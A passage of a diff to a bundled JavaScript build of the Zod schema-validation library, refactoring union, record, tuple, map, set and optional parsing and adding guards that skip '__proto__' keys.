handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57967,17 +58502,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -58011,12 +58546,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58029,7 +58568,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58063,55 +58603,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58122,8 +58690,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58133,9 +58701,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58156,7 +58724,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58192,37 +58764,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58231,59 +58815,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58294,14 +58890,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58312,10 +58909,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58325,7 +58926,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58336,25 +58937,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58371,7 +58976,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58388,26 +58995,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58425,7 +59040,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58438,21 +59056,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58462,36 +59092,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58499,7 +59139,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58512,7 +59152,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58523,11 +59163,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58535,8 +59177,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58547,6 +59196,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58559,16 +59209,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58576,21 +59229,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58599,13 +59252,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58614,16 +59267,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58631,59 +59284,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58693,8 +59342,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58718,8 +59367,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58732,8 +59381,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58772,46 +59421,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58831,10 +59471,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58851,18 +59491,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { 